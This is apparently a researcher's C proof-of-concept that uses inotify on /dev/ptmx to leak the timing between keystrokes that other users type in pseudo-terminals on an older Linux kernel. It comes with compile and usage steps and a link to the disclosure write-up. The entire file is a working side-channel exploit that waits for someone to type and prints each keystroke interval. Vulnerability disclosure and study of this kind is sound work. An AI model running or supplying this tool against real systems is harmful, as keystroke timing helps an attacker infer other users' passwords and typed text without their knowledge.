/* This PoC discloses latency between keystrokes thanks to /dev/ptmx.

   Compile: cc ptmx-keystroke-latency.c -o ptmx-keystroke-latency
   Usage:   ./ptmx-keystroke-latency

   Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64).

   For more information: http://vladz.devzero.fr/013_ptmx-timing.php
   -----------------------------------------------------------------------
   "THE BEER-WARE LICENSE" (Revision 42):
   <vladz@devzero.fr> wrote this file. As long as you retain this notice
   you can do whatever you want with this stuff. If we meet some day, and
   you think this stuff is worth it, you can buy me a beer in return. -V.
*/

#include <sys/inotify.h>
#include <unistd.h>
#include <stdio.h>
#include <time.h>
#include <sys/time.h>
#include <stdlib.h>


void show_time_info(struct timeval *x, struct timeval *y) {

  struct tm *st_tm;
  char   *time_str;
  long   delta;

  st_tm = localtime(&y->tv_sec);

  time_str = malloc(9);
  sprintf(time_str, "%s%d:%s%d:%s%d",
    st_tm->tm_hour < 10 ? "0" : "", st_tm->tm_hour,
    st_tm->tm_min  < 10 ? "0" : "", st_tm->tm_min,
    st_tm->tm_sec  < 10 ? "0" : "", st_tm->tm_sec);

  delta  = (y->tv_sec  - x->tv_sec ) * 1000;
  delta += (y->tv_usec - x->tv_usec) / 1000;

  printf("%s (+%ld ms)\n", time_str, delta);
}

int main() {

  int fd;
  struct timeval start, finish;
  char buf[1024];

  printf("[+] PoC to disclose latency between keystrokes\n");
  printf("[+] Wait for someone to type in a PTY\n");

  fd = inotify_init();
  inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY);

  for(;;) {

    gettimeofday(&start, NULL);
    read(fd, buf, 1024);
    gettimeofday(&finish, NULL);

    show_time_info(&start, &finish);
  }

  return 0;
}